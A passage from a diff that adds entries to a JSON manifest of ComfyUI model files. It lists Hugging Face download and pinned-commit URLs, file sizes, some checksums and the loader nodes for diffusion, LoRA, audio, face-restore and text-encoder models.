+ "diffusion_models/wan2.2_ti2v_5B_fp16.safetensors": {"folder":"diffusion_models","file":"wan2.2_ti2v_5B_fp16.safetensors","url":"https://huggingface.co/Comfy-Org/Wan_2.2_ComfyUI_Repackaged/resolve/main/split_files/diffusion_models/wan2.2_ti2v_5B_fp16.safetensors","pinnedUrl":"https://huggingface.co/Comfy-Org/Wan_2.2_ComfyUI_Repackaged/resolve/ee6f4a40737a995bf5818954cfce6d59443b0f04/split_files/diffusion_models/wan2.2_ti2v_5B_fp16.safetensors","sizeBytes":9999658848,"gated":false,"presence":"loader","loaders":[["UNETLoader","unet_name"]]},
+ "diffusion_models/wan_animate_2_int8_convrot.safetensors": {"folder":"diffusion_models","file":"wan_animate_2_int8_convrot.safetensors","url":"https://huggingface.co/Comfy-Org/Wan-Animate-2/resolve/main/diffusion_models/wan_animate_2_int8_convrot.safetensors","pinnedUrl":"https://huggingface.co/Comfy-Org/Wan-Animate-2/resolve/e7181fe1896b7f2ce34120d1a3663413548240d7/diffusion_models/wan_animate_2_int8_convrot.safetensors","sizeBytes":16653175528,"gated":false,"presence":"loader","loaders":[["UNETLoader","unet_name"]]},
+ "diffusion_models/z_image_turbo_bf16.safetensors": {"folder":"diffusion_models","file":"z_image_turbo_bf16.safetensors","url":"https://huggingface.co/Comfy-Org/z_image_turbo/resolve/main/split_files/diffusion_models/z_image_turbo_bf16.safetensors","pinnedUrl":"https://huggingface.co/Comfy-Org/z_image_turbo/resolve/6fc90a3b1b653e935a0d175e260736de25b84df5/split_files/diffusion_models/z_image_turbo_bf16.safetensors","sizeBytes":12309866400,"gated":false,"presence":"loader","loaders":[["UNETLoader","unet_name"]]},
+ "facerestore_models/GFPGANv1.4.pth": {"folder":"facerestore_models","file":"GFPGANv1.4.pth","url":"https://huggingface.co/datasets/Gourieff/ReActor/resolve/main/models/facerestore_models/GFPGANv1.4.pth","pinnedUrl":"https://huggingface.co/datasets/Gourieff/ReActor/resolve/079e0e459cd4261bbcba8c71d47df54a4ded7642/models/facerestore_models/GFPGANv1.4.pth","sizeBytes":348632874,"sha256":"e2cd4703ab14f4d01fd1383a8a8b266f9a5833dacee8e6a79d3bf21a1b6be5ad","gated":false,"packFolder":"ComfyUI-ReActor","presence":"loader","loaders":[["ReActorFaceSwap","face_restore_model"]]},
+ "foley/hunyuanvideo_foley_xl_fp8_e4m3fn.safetensors": {"folder":"foley","file":"hunyuanvideo_foley_xl_fp8_e4m3fn.safetensors","url":"https://huggingface.co/phazei/HunyuanVideo-Foley/resolve/main/hunyuanvideo_foley_xl_fp8_e4m3fn.safetensors","pinnedUrl":"https://huggingface.co/phazei/HunyuanVideo-Foley/resolve/f94bbf32576f02b37715f54cdba3a5e82910dde7/hunyuanvideo_foley_xl_fp8_e4m3fn.safetensors","sizeBytes":3754152400,"gated":false,"packFolder":"ComfyUI-HunyuanVideo-Foley","presence":"loader","loaders":[["HunyuanModelLoader","model_name"]]},
+ "foley/synchformer_state_dict_fp16.safetensors": {"folder":"foley","file":"synchformer_state_dict_fp16.safetensors","url":"https://huggingface.co/phazei/HunyuanVideo-Foley/resolve/main/synchformer_state_dict_fp16.safetensors","pinnedUrl":"https://huggingface.co/phazei/HunyuanVideo-Foley/resolve/f94bbf32576f02b37715f54cdba3a5e82910dde7/synchformer_state_dict_fp16.safetensors","sizeBytes":474981066,"gated":false,"packFolder":"ComfyUI-HunyuanVideo-Foley","presence":"loader","loaders":[["HunyuanDependenciesLoader","synchformer_name"]]},
+ "foley/vae_128d_48k_fp16.safetensors": {"folder":"foley","file":"vae_128d_48k_fp16.safetensors","url":"https://huggingface.co/phazei/HunyuanVideo-Foley/resolve/main/vae_128d_48k_fp16.safetensors","pinnedUrl":"https://huggingface.co/phazei/HunyuanVideo-Foley/resolve/f94bbf32576f02b37715f54cdba3a5e82910dde7/vae_128d_48k_fp16.safetensors","sizeBytes":743210820,"gated":false,"packFolder":"ComfyUI-HunyuanVideo-Foley","presence":"loader","loaders":[["HunyuanDependenciesLoader","vae_name"]]},
+ "frame_interpolation/film_net_fp16.safetensors": {"folder":"frame_interpolation","file":"film_net_fp16.safetensors","url":"https://huggingface.co/Comfy-Org/frame_interpolation/resolve/main/frame_interpolation/film_net_fp16.safetensors","pinnedUrl":"https://huggingface.co/Comfy-Org/frame_interpolation/resolve/aa7009be4d1471ea0bac91d6fe4d7e4b637cbbfc/frame_interpolation/film_net_fp16.safetensors","sizeBytes":68882302,"gated":false,"presence":"loader","loaders":[["FrameInterpolationModelLoader","model_name"]]},
+ "frame_interpolation/rife_v4.26.safetensors": {"folder":"frame_interpolation","file":"rife_v4.26.safetensors","url":"https://huggingface.co/Comfy-Org/frame_interpolation/resolve/main/frame_interpolation/rife_v4.26.safetensors","pinnedUrl":"https://huggingface.co/Comfy-Org/frame_interpolation/resolve/aa7009be4d1471ea0bac91d6fe4d7e4b637cbbfc/frame_interpolation/rife_v4.26.safetensors","sizeBytes":22674688,"gated":false,"presence":"loader","loaders":[["FrameInterpolationModelLoader","model_name"]]},
+ "geometry_estimation/depth_anything_3_mono_large.safetensors": {"folder":"geometry_estimation","file":"depth_anything_3_mono_large.safetensors","url":"https://huggingface.co/Comfy-Org/Depth-Anything-3/resolve/main/geometry_estimation/depth_anything_3_mono_large.safetensors","pinnedUrl":"https://huggingface.co/Comfy-Org/Depth-Anything-3/resolve/8265be070134dc7459217308cdc03109bde199b0/geometry_estimation/depth_anything_3_mono_large.safetensors","sizeBytes":1336748056,"gated":false,"presence":"loader","loaders":[["LoadDA3Model","model_name"]]},
+ "geometry_estimation/moge_2_vitl_normal_fp16.safetensors": {"folder":"geometry_estimation","file":"moge_2_vitl_normal_fp16.safetensors","url":"https://huggingface.co/Comfy-Org/MoGe/resolve/main/geometry_estimation/moge_2_vitl_normal_fp16.safetensors","pinnedUrl":"https://huggingface.co/Comfy-Org/MoGe/resolve/1484985258ba7ef45c314144fcf0e90924ffbf44/geometry_estimation/moge_2_vitl_normal_fp16.safetensors","sizeBytes":661859924,"gated":false,"presence":"loader","loaders":[["LoadMoGeModel","model_name"]]},
+ "insightface/inswapper_128.onnx": {"folder":"insightface","file":"inswapper_128.onnx","url":"https://huggingface.co/datasets/Gourieff/ReActor/resolve/main/models/inswapper_128.onnx","pinnedUrl":"https://huggingface.co/datasets/Gourieff/ReActor/resolve/079e0e459cd4261bbcba8c71d47df54a4ded7642/models/inswapper_128.onnx","sizeBytes":554253681,"sha256":"e4a3f08c753cb72d04e10aa0f7dbe3deebbf39567d4ead6dce08e98aa49e16af","gated":false,"packFolder":"ComfyUI-ReActor","presence":"loader","loaders":[["ReActorFaceSwap","swap_model"]]},
+ "latent_upscale_models/ltx-2-spatial-upscaler-x2-1.0.safetensors": {"folder":"latent_upscale_models","file":"ltx-2-spatial-upscaler-x2-1.0.safetensors","url":"https://huggingface.co/Lightricks/LTX-2/resolve/main/ltx-2-spatial-upscaler-x2-1.0.safetensors","pinnedUrl":"https://huggingface.co/Lightricks/LTX-2/resolve/64f65d09e0b76c96202b5bc09997673184cf9b5d/ltx-2-spatial-upscaler-x2-1.0.safetensors","sizeBytes":995765578,"gated":false,"presence":"loader","loaders":[["LatentUpscaleModelLoader","model_name"]]},
+ "latent_upscale_models/ltx-2.5-latent-spatial-upscaler-x2-bf16-1.0.safetensors": {"folder":"latent_upscale_models","file":"ltx-2.5-latent-spatial-upscaler-x2-bf16-1.0.safetensors","url":"https://huggingface.co/Lightricks/LTX-2.5/resolve/main/latent_upscale_models/ltx-2.5-latent-spatial-upscaler-x2-bf16-1.0.safetensors","pinnedUrl":"https://huggingface.co/Lightricks/LTX-2.5/resolve/main/latent_upscale_models/ltx-2.5-latent-spatial-upscaler-x2-bf16-1.0.safetensors","sizeBytes":1000000000,"gated":true,"presence":"loader","loaders":[["LatentUpscaleModelLoader","model_name"]]},
+ "loras/Flux_2-Turbo-LoRA_comfyui.safetensors": {"folder":"loras","file":"Flux_2-Turbo-LoRA_comfyui.safetensors","url":"https://huggingface.co/ByteZSzn/Flux.2-Turbo-ComfyUI/resolve/main/Flux_2-Turbo-LoRA_comfyui.safetensors","pinnedUrl":"https://huggingface.co/ByteZSzn/Flux.2-Turbo-ComfyUI/resolve/57231752b9c5632e42911c73ee0ed138d381a6d4/Flux_2-Turbo-LoRA_comfyui.safetensors","sizeBytes":2760814880,"gated":false,"presence":"loader","loaders":[["LoraLoaderModelOnly","lora_name"]]},
+ "loras/H3-Person-Remover-V1.safetensors": {"folder":"loras","file":"H3-Person-Remover-V1.safetensors","url":"https://huggingface.co/akatz-ai/MiniMax-H3-Person-Remover-LoRA/resolve/fe136b3dc93aea993b9f194d48ea9859fdc2de14/H3-Person-Remover-V1.safetensors","pinnedUrl":"https://huggingface.co/akatz-ai/MiniMax-H3-Person-Remover-LoRA/resolve/fe136b3dc93aea993b9f194d48ea9859fdc2de14/H3-Person-Remover-V1.safetensors","sizeBytes":155110584,"gated":false,"presence":"loader","loaders":[["LoraLoaderModelOnly","lora_name"]]},
+ "loras/Qwen-Image-2512-Lightning-4steps-V1.0-fp32.safetensors": {"folder":"loras","file":"Qwen-Image-2512-Lightning-4steps-V1.0-fp32.safetensors","url":"https://huggingface.co/lightx2v/Qwen-Image-2512-Lightning/resolve/main/Qwen-Image-2512-Lightning-4steps-V1.0-fp32.safetensors","pinnedUrl":"https://huggingface.co/lightx2v/Qwen-Image-2512-Lightning/resolve/4609161e308ce82018a42c2a0c9b107e865bb751/Qwen-Image-2512-Lightning-4steps-V1.0-fp32.safetensors","sizeBytes":1698951104,"gated":false,"presence":"loader","loaders":[["LoraLoaderModelOnly","lora_name"]]},
+ "loras/Qwen-Image-Edit-2509-Light-Migration.safetensors": {"folder":"loras","file":"Qwen-Image-Edit-2509-Light-Migration.safetensors","url":"https://huggingface.co/Comfy-Org/Qwen-Image-Edit_ComfyUI/resolve/main/split_files/loras/Qwen-Image-Edit-2509-Light-Migration.safetensors","pinnedUrl":"https://huggingface.co/Comfy-Org/Qwen-Image-Edit_ComfyUI/resolve/f68ace85e60b4a02a323e394253731947657b7d2/split_files/loras/Qwen-Image-Edit-2509-Light-Migration.safetensors","sizeBytes":236117032,"gated":false,"presence":"loader","loaders":[["LoraLoaderModelOnly","lora_name"]]},
+ "loras/Qwen-Image-Edit-2509-Lightning-4steps-V1.0-bf16.safetensors": {"folder":"loras","file":"Qwen-Image-Edit-2509-Lightning-4steps-V1.0-bf16.safetensors","url":"https://huggingface.co/lightx2v/Qwen-Image-Lightning/resolve/main/Qwen-Image-Edit-2509/Qwen-Image-Edit-2509-Lightning-4steps-V1.0-bf16.safetensors","pinnedUrl":"https://huggingface.co/lightx2v/Qwen-Image-Lightning/resolve/d468c534b360e0754c6bf9e38ed49e1e09cd2e2a/Qwen-Image-Edit-2509/Qwen-Image-Edit-2509-Lightning-4steps-V1.0-bf16.safetensors","sizeBytes":849608296,"gated":false,"presence":"loader","loaders":[["LoraLoaderModelOnly","lora_name"]]},
+ "loras/Qwen-Image-Edit-2509-Relight.safetensors": {"folder":"loras","file":"Qwen-Image-Edit-2509-Relight.safetensors","url":"https://huggingface.co/Comfy-Org/Qwen-Image-Edit_ComfyUI/resolve/main/split_files/loras/Qwen-Image-Edit-2509-Relight.safetensors","pinnedUrl":"https://huggingface.co/Comfy-Org/Qwen-Image-Edit_ComfyUI/resolve/f68ace85e60b4a02a323e394253731947657b7d2/split_files/loras/Qwen-Image-Edit-2509-Relight.safetensors","sizeBytes":236117032,"gated":false,"presence":"loader","loaders":[["LoraLoaderModelOnly","lora_name"]]},
+ "loras/Qwen-Image-Edit-2509-White_to_Scene.safetensors": {"folder":"loras","file":"Qwen-Image-Edit-2509-White_to_Scene.safetensors","url":"https://huggingface.co/Comfy-Org/Qwen-Image-Edit_ComfyUI/resolve/main/split_files/loras/Qwen-Image-Edit-2509-White_to_Scene.safetensors","pinnedUrl":"https://huggingface.co/Comfy-Org/Qwen-Image-Edit_ComfyUI/resolve/f68ace85e60b4a02a323e394253731947657b7d2/split_files/loras/Qwen-Image-Edit-2509-White_to_Scene.safetensors","sizeBytes":236117032,"gated":false,"presence":"loader","loaders":[["LoraLoaderModelOnly","lora_name"]]},
+ "loras/Qwen-Image-Edit-2511-Lightning-4steps-V1.0-bf16.safetensors": {"folder":"loras","file":"Qwen-Image-Edit-2511-Lightning-4steps-V1.0-bf16.safetensors","url":"https://huggingface.co/lightx2v/Qwen-Image-Edit-2511-Lightning/resolve/main/Qwen-Image-Edit-2511-Lightning-4steps-V1.0-bf16.safetensors","pinnedUrl":"https://huggingface.co/lightx2v/Qwen-Image-Edit-2511-Lightning/resolve/107d238d68b8387e32843d0b4a2e24ceb0d3ad86/Qwen-Image-Edit-2511-Lightning-4steps-V1.0-bf16.safetensors","sizeBytes":849608296,"gated":false,"presence":"loader","loaders":[["LoraLoaderModelOnly","lora_name"]]},
+ "loras/Wan2.1_I2V_14B_FusionX_LoRA.safetensors": {"folder":"loras","file":"Wan2.1_I2V_14B_FusionX_LoRA.safetensors","url":"https://huggingface.co/vrgamedevgirl84/Wan14BT2VFusioniX/resolve/b9793a1f84727f2f69bdffecc2f50f0abfa746a6/FusionX_LoRa/Wan2.1_I2V_14B_FusionX_LoRA.safetensors","pinnedUrl":"https://huggingface.co/vrgamedevgirl84/Wan14BT2VFusioniX/resolve/b9793a1f84727f2f69bdffecc2f50f0abfa746a6/FusionX_LoRa/Wan2.1_I2V_14B_FusionX_LoRA.safetensors","sizeBytes":371128616,"gated":false,"presence":"list"},
+ "loras/h3_character_swap_pro4500_1000.safetensors": {"folder":"loras","file":"h3_character_swap_pro4500_1000.safetensors","url":"https://huggingface.co/akatz-ai/MiniMax-H3-Character-Swap-LoRA/resolve/a665bb7e3bb9804e487d2925f67744f554c8ad49/h3_character_swap_pro4500_1000.safetensors","pinnedUrl":"https://huggingface.co/akatz-ai/MiniMax-H3-Character-Swap-LoRA/resolve/a665bb7e3bb9804e487d2925f67744f554c8ad49/h3_character_swap_pro4500_1000.safetensors","sizeBytes":155110320,"gated":false,"presence":"list"},
+ "loras/h3_character_swap_v1.5.safetensors": {"folder":"loras","file":"h3_character_swap_v1.5.safetensors","url":"https://huggingface.co/akatz-ai/MiniMax-H3-Character-Swap-LoRA/resolve/d06323b7c8e70e97cdab48b78a1e05f786c8cba9/h3_character_swap_v1.5.safetensors","pinnedUrl":"https://huggingface.co/akatz-ai/MiniMax-H3-Character-Swap-LoRA/resolve/d06323b7c8e70e97cdab48b78a1e05f786c8cba9/h3_character_swap_v1.5.safetensors","sizeBytes":155110792,"gated":false,"presence":"loader","loaders":[["LoraLoaderModelOnly","lora_name"]]},
+ "loras/krea2_style_reference.safetensors": {"folder":"loras","file":"krea2_style_reference.safetensors","url":"https://huggingface.co/Comfy-Org/Krea-2/resolve/main/loras/krea2_style_reference.safetensors","pinnedUrl":"https://huggingface.co/Comfy-Org/Krea-2/resolve/1171f4dc7e325bf3734586942e737872506c73e1/loras/krea2_style_reference.safetensors","sizeBytes":457111760,"gated":false,"presence":"loader","loaders":[["LoraLoaderModelOnly","lora_name"]]},
+ "loras/lightx2v_I2V_14B_480p_cfg_step_distill_rank64_bf16.safetensors": {"folder":"loras","file":"lightx2v_I2V_14B_480p_cfg_step_distill_rank64_bf16.safetensors","url":"https://huggingface.co/Kijai/WanVideo_comfy/resolve/main/Lightx2v/lightx2v_I2V_14B_480p_cfg_step_distill_rank64_bf16.safetensors","pinnedUrl":"https://huggingface.co/Kijai/WanVideo_comfy/resolve/8260d429d19fd7a72304cad059160b95d843913f/Lightx2v/lightx2v_I2V_14B_480p_cfg_step_distill_rank64_bf16.safetensors","sizeBytes":738005744,"gated":false,"presence":"loader","loaders":[["LoraLoaderModelOnly","lora_name"],["WanVideoLoraSelect","lora"]]},
+ "loras/lightx2v_T2V_14B_cfg_step_distill_v2_lora_rank64_bf16.safetensors": {"folder":"loras","file":"lightx2v_T2V_14B_cfg_step_distill_v2_lora_rank64_bf16.safetensors","url":"https://huggingface.co/Kijai/WanVideo_comfy/resolve/main/Lightx2v/lightx2v_T2V_14B_cfg_step_distill_v2_lora_rank64_bf16.safetensors","pinnedUrl":"https://huggingface.co/Kijai/WanVideo_comfy/resolve/8260d429d19fd7a72304cad059160b95d843913f/Lightx2v/lightx2v_T2V_14B_cfg_step_distill_v2_lora_rank64_bf16.safetensors","sizeBytes":630697104,"gated":false,"presence":"loader","loaders":[["LoraLoader","lora_name"],["LoraLoaderModelOnly","lora_name"]]},
+ "loras/ltx-2-19b-distilled-lora-384.safetensors": {"folder":"loras","file":"ltx-2-19b-distilled-lora-384.safetensors","url":"https://huggingface.co/Lightricks/LTX-2/resolve/main/ltx-2-19b-distilled-lora-384.safetensors","pinnedUrl":"https://huggingface.co/Lightricks/LTX-2/resolve/64f65d09e0b76c96202b5bc09997673184cf9b5d/ltx-2-19b-distilled-lora-384.safetensors","sizeBytes":7674558424,"gated":false,"presence":"loader","loaders":[["LoraLoaderModelOnly","lora_name"]]},
+ "loras/minimax_h3_fl2v_turbo_8step_v1.0_768p_comfyui_bf16.safetensors": {"folder":"loras","file":"minimax_h3_fl2v_turbo_8step_v1.0_768p_comfyui_bf16.safetensors","url":"https://huggingface.co/lightx2v/Minimax-h3-Turbo/resolve/3ec17a324ced54151364f24f8b5fb6bf7e26414f/minimax_h3_fl2v_turbo_8step_v1.0_768p_comfyui_bf16.safetensors","pinnedUrl":"https://huggingface.co/lightx2v/Minimax-h3-Turbo/resolve/3ec17a324ced54151364f24f8b5fb6bf7e26414f/minimax_h3_fl2v_turbo_8step_v1.0_768p_comfyui_bf16.safetensors","sizeBytes":1956193000,"gated":false,"presence":"loader","loaders":[["LoraLoaderModelOnly","lora_name"]]},
+ "loras/next-scene_lora-v2-3000.safetensors": {"folder":"loras","file":"next-scene_lora-v2-3000.safetensors","url":"https://huggingface.co/lovis93/next-scene-qwen-image-lora-2509/resolve/main/next-scene_lora-v2-3000.safetensors","pinnedUrl":"https://huggingface.co/lovis93/next-scene-qwen-image-lora-2509/resolve/9b9da698b8a5370efd875f18b1727cc1119f3863/next-scene_lora-v2-3000.safetensors","sizeBytes":295146176,"gated":false,"presence":"loader","loaders":[["LoraLoaderModelOnly","lora_name"]]},
+ "loras/qwen-edit-2509-multiple-angles-dx8152.safetensors": {"folder":"loras","file":"qwen-edit-2509-multiple-angles-dx8152.safetensors","url":"https://huggingface.co/dx8152/Qwen-Edit-2509-Multiple-angles/resolve/c342b0e746c3a3275af1a4a0c6ae78e0e4802531/%E9%95%9C%E5%A4%B4%E8%BD%AC%E6%8D%A2.safetensors","pinnedUrl":"https://huggingface.co/dx8152/Qwen-Edit-2509-Multiple-angles/resolve/c342b0e746c3a3275af1a4a0c6ae78e0e4802531/%E9%95%9C%E5%A4%B4%E8%BD%AC%E6%8D%A2.safetensors","sizeBytes":236117032,"gated":false,"presence":"loader","loaders":[["LoraLoaderModelOnly","lora_name"]]},
+ "loras/tryon-klein-4b.safetensors": {"folder":"loras","file":"tryon-klein-4b.safetensors","url":"https://huggingface.co/xocialize/tryon-FLUX.2-klein-4B-lora/resolve/main/tryon-klein-4b.safetensors","pinnedUrl":"https://huggingface.co/xocialize/tryon-FLUX.2-klein-4B-lora/resolve/5e590220c687190a3d8dc66d173570f9de097984/tryon-klein-4b.safetensors","sizeBytes":92426760,"gated":false,"presence":"loader","loaders":[["LoraLoaderModelOnly","lora_name"]]},
+ "loras/uso-flux1-dit-lora-v1.safetensors": {"folder":"loras","file":"uso-flux1-dit-lora-v1.safetensors","url":"https://huggingface.co/Comfy-Org/USO_1.0_Repackaged/resolve/main/split_files/loras/uso-flux1-dit-lora-v1.safetensors","pinnedUrl":"https://huggingface.co/Comfy-Org/USO_1.0_Repackaged/resolve/5665f4249983d8a7ebae0de7afe2070887b0397c/split_files/loras/uso-flux1-dit-lora-v1.safetensors","sizeBytes":478187816,"gated":false,"presence":"loader","loaders":[["LoraLoaderModelOnly","lora_name"]]},
+ "loras/wan2.2_i2v_lightx2v_4steps_lora_v1_high_noise.safetensors": {"folder":"loras","file":"wan2.2_i2v_lightx2v_4steps_lora_v1_high_noise.safetensors","url":"https://huggingface.co/Comfy-Org/Wan_2.2_ComfyUI_Repackaged/resolve/main/split_files/loras/wan2.2_i2v_lightx2v_4steps_lora_v1_high_noise.safetensors","pinnedUrl":"https://huggingface.co/Comfy-Org/Wan_2.2_ComfyUI_Repackaged/resolve/ee6f4a40737a995bf5818954cfce6d59443b0f04/split_files/loras/wan2.2_i2v_lightx2v_4steps_lora_v1_high_noise.safetensors","sizeBytes":1226977424,"gated":false,"presence":"loader","loaders":[["LoraLoaderModelOnly","lora_name"]]},
+ "loras/wan2.2_i2v_lightx2v_4steps_lora_v1_low_noise.safetensors": {"folder":"loras","file":"wan2.2_i2v_lightx2v_4steps_lora_v1_low_noise.safetensors","url":"https://huggingface.co/Comfy-Org/Wan_2.2_ComfyUI_Repackaged/resolve/main/split_files/loras/wan2.2_i2v_lightx2v_4steps_lora_v1_low_noise.safetensors","pinnedUrl":"https://huggingface.co/Comfy-Org/Wan_2.2_ComfyUI_Repackaged/resolve/ee6f4a40737a995bf5818954cfce6d59443b0f04/split_files/loras/wan2.2_i2v_lightx2v_4steps_lora_v1_low_noise.safetensors","sizeBytes":1226977424,"gated":false,"presence":"loader","loaders":[["LoraLoaderModelOnly","lora_name"]]},
+ "loras/wan2.2_t2v_lightx2v_4steps_lora_v1.1_high_noise.safetensors": {"folder":"loras","file":"wan2.2_t2v_lightx2v_4steps_lora_v1.1_high_noise.safetensors","url":"https://huggingface.co/Comfy-Org/Wan_2.2_ComfyUI_Repackaged/resolve/main/split_files/loras/wan2.2_t2v_lightx2v_4steps_lora_v1.1_high_noise.safetensors","pinnedUrl":"https://huggingface.co/Comfy-Org/Wan_2.2_ComfyUI_Repackaged/resolve/ee6f4a40737a995bf5818954cfce6d59443b0f04/split_files/loras/wan2.2_t2v_lightx2v_4steps_lora_v1.1_high_noise.safetensors","sizeBytes":1226977424,"gated":false,"presence":"loader","loaders":[["LoraLoaderModelOnly","lora_name"]]},
+ "loras/wan2.2_t2v_lightx2v_4steps_lora_v1.1_low_noise.safetensors": {"folder":"loras","file":"wan2.2_t2v_lightx2v_4steps_lora_v1.1_low_noise.safetensors","url":"https://huggingface.co/Comfy-Org/Wan_2.2_ComfyUI_Repackaged/resolve/main/split_files/loras/wan2.2_t2v_lightx2v_4steps_lora_v1.1_low_noise.safetensors","pinnedUrl":"https://huggingface.co/Comfy-Org/Wan_2.2_ComfyUI_Repackaged/resolve/ee6f4a40737a995bf5818954cfce6d59443b0f04/split_files/loras/wan2.2_t2v_lightx2v_4steps_lora_v1.1_low_noise.safetensors","sizeBytes":1226977424,"gated":false,"presence":"loader","loaders":[["LoraLoaderModelOnly","lora_name"]]},
+ "mmaudio/apple_DFN5B-CLIP-ViT-H-14-384_fp16.safetensors": {"folder":"mmaudio","file":"apple_DFN5B-CLIP-ViT-H-14-384_fp16.safetensors","url":"https://huggingface.co/Kijai/MMAudio_safetensors/resolve/main/apple_DFN5B-CLIP-ViT-H-14-384_fp16.safetensors","pinnedUrl":"https://huggingface.co/Kijai/MMAudio_safetensors/resolve/5984623e6b436818c6ff287ef6eec93e3e05aa3f/apple_DFN5B-CLIP-ViT-H-14-384_fp16.safetensors","sizeBytes":1973509450,"gated":false,"packFolder":"ComfyUI-MMAudio","presence":"loader","loaders":[["MMAudioFeatureUtilsLoader","clip_model"]]},
+ "mmaudio/mmaudio_large_44k_v2_fp16.safetensors": {"folder":"mmaudio","file":"mmaudio_large_44k_v2_fp16.safetensors","url":"https://huggingface.co/Kijai/MMAudio_safetensors/resolve/main/mmaudio_large_44k_v2_fp16.safetensors","pinnedUrl":"https://huggingface.co/Kijai/MMAudio_safetensors/resolve/5984623e6b436818c6ff287ef6eec93e3e05aa3f/mmaudio_large_44k_v2_fp16.safetensors","sizeBytes":2061198424,"gated":false,"packFolder":"ComfyUI-MMAudio","presence":"loader","loaders":[["MMAudioModelLoader","mmaudio_model"]]},
+ "mmaudio/mmaudio_synchformer_fp16.safetensors": {"folder":"mmaudio","file":"mmaudio_synchformer_fp16.safetensors","url":"https://huggingface.co/Kijai/MMAudio_safetensors/resolve/main/mmaudio_synchformer_fp16.safetensors","pinnedUrl":"https://huggingface.co/Kijai/MMAudio_safetensors/resolve/5984623e6b436818c6ff287ef6eec93e3e05aa3f/mmaudio_synchformer_fp16.safetensors","sizeBytes":474981098,"gated":false,"packFolder":"ComfyUI-MMAudio","presence":"loader","loaders":[["MMAudioFeatureUtilsLoader","synchformer_model"]]},
+ "mmaudio/mmaudio_vae_44k_fp16.safetensors": {"folder":"mmaudio","file":"mmaudio_vae_44k_fp16.safetensors","url":"https://huggingface.co/Kijai/MMAudio_safetensors/resolve/main/mmaudio_vae_44k_fp16.safetensors","pinnedUrl":"https://huggingface.co/Kijai/MMAudio_safetensors/resolve/5984623e6b436818c6ff287ef6eec93e3e05aa3f/mmaudio_vae_44k_fp16.safetensors","sizeBytes":610966060,"gated":false,"packFolder":"ComfyUI-MMAudio","presence":"loader","loaders":[["MMAudioFeatureUtilsLoader","vae_model"]]},
+ "model_patches/Z-Image-Turbo-Fun-Controlnet-Union.safetensors": {"folder":"model_patches","file":"Z-Image-Turbo-Fun-Controlnet-Union.safetensors","url":"https://huggingface.co/alibaba-pai/Z-Image-Turbo-Fun-Controlnet-Union/resolve/main/Z-Image-Turbo-Fun-Controlnet-Union.safetensors","pinnedUrl":"https://huggingface.co/alibaba-pai/Z-Image-Turbo-Fun-Controlnet-Union/resolve/01c794d57ff16844b24d0580471fa9d686e7a465/Z-Image-Turbo-Fun-Controlnet-Union.safetensors","sizeBytes":3101572408,"gated":false,"presence":"loader","loaders":[["ModelPatchLoader","name"]]},
+ "model_patches/uso-flux1-projector-v1.safetensors": {"folder":"model_patches","file":"uso-flux1-projector-v1.safetensors","url":"https://huggingface.co/Comfy-Org/USO_1.0_Repackaged/resolve/main/split_files/model_patches/uso-flux1-projector-v1.safetensors","pinnedUrl":"https://huggingface.co/Comfy-Org/USO_1.0_Repackaged/resolve/5665f4249983d8a7ebae0de7afe2070887b0397c/split_files/model_patches/uso-flux1-projector-v1.safetensors","sizeBytes":21548200,"gated":false,"presence":"loader","loaders":[["ModelPatchLoader","name"]]},
+ "model_patches/wan2.1_infiniteTalk_single_fp16.safetensors": {"folder":"model_patches","file":"wan2.1_infiniteTalk_single_fp16.safetensors","url":"https://huggingface.co/Comfy-Org/Wan_2.1_ComfyUI_repackaged/resolve/main/split_files/model_patches/wan2.1_infiniteTalk_single_fp16.safetensors","pinnedUrl":"https://huggingface.co/Comfy-Org/Wan_2.1_ComfyUI_repackaged/resolve/123acf1cc74bccbb9bfff8ac1ee72edc08c2341d/split_files/model_patches/wan2.1_infiniteTalk_single_fp16.safetensors","sizeBytes":5125258232,"gated":false,"presence":"loader","loaders":[["ModelPatchLoader","name"]]},
+ "optical_flow/raft_large_C_T_SKHT_V2-ff5fadd5.safetensors": {"folder":"optical_flow","file":"raft_large_C_T_SKHT_V2-ff5fadd5.safetensors","url":"https://huggingface.co/Comfy-Org/void-model/resolve/main/optical_flow/raft_large_C_T_SKHT_V2-ff5fadd5.safetensors","pinnedUrl":"https://huggingface.co/Comfy-Org/void-model/resolve/f9c9e565920002478ab9477f4c99c29c52d16db3/optical_flow/raft_large_C_T_SKHT_V2-ff5fadd5.safetensors","sizeBytes":21060840,"gated":false,"presence":"loader","loaders":[["OpticalFlowLoader","model_name"]]},
+ "text_encoders/byt5_small_glyphxl_fp16.safetensors": {"folder":"text_encoders","file":"byt5_small_glyphxl_fp16.safetensors","url":"https://huggingface.co/Comfy-Org/HunyuanVideo_1.5_repackaged/resolve/main/split_files/text_encoders/byt5_small_glyphxl_fp16.safetensors","pinnedUrl":"https://huggingface.co/Comfy-Org/HunyuanVideo_1.5_repackaged/resolve/1405a2b738c29b890cf6d03fc038d8d3e92eeed7/split_files/text_encoders/byt5_small_glyphxl_fp16.safetensors","sizeBytes":438643184,"gated":false,"presence":"loader","loaders":[["DualCLIPLoader","clip_name2"]]},
+ "text_encoders/clip_g_hidream.safetensors": {"folder":"text_encoders","file":"clip_g_hidream.safetensors","url":"https://huggingface.co/Comfy-Org/HiDream-I1_ComfyUI/resolve/main/split_files/text_encoders/clip_g_hidream.safetensors","pinnedUrl":"https://huggingface.co/Comfy-Org/HiDream-I1_ComfyUI/resolve/942970a008493fc9bf05b4827374009e69f6a993/split_files/text_encoders/clip_g_hidream.safetensors","sizeBytes":1389743104,"gated":false,"presence":"loader","loaders":[["QuadrupleCLIPLoader","clip_name2"]]},
+ "text_encoders/clip_l.safetensors": {"folder":"text_encoders","file":"clip_l.safetensors","url":"https://huggingface.co/comfyanonymous/flux_text_encoders/resolve/main/clip_l.safetensors","pinnedUrl":"https://huggingface.co/comfyanonymous/flux_text_encoders/resolve/6af2a98e3f615bdfa612fbd85da93d1ed5f69ef5/clip_l.safetensors","sizeBytes":246144152,"gated":false,"presence":"loader","loaders":[["DualCLIPLoader","clip_name1"]]},
+ "text_encoders/clip_l_hidream.safetensors": {"folder":"text_encoders","file":"clip_l_hidream.safetensors","url":"https://huggingface.co/Comfy-Org/HiDream-I1_ComfyUI/resolve/main/split_files/text_encoders/clip_l_hidream.safetensors","pinnedUrl":"https://huggingface.co/Comfy-Org/HiDream-I1_ComfyUI/resolve/942970a008493fc9bf05b4827374009e69f6a993/split_files/text_encoders/clip_l_hidream.safetensors","sizeBytes":247586528,"gated":false,"presence":"loader","loaders":[["QuadrupleCLIPLoader","clip_name1"]]},
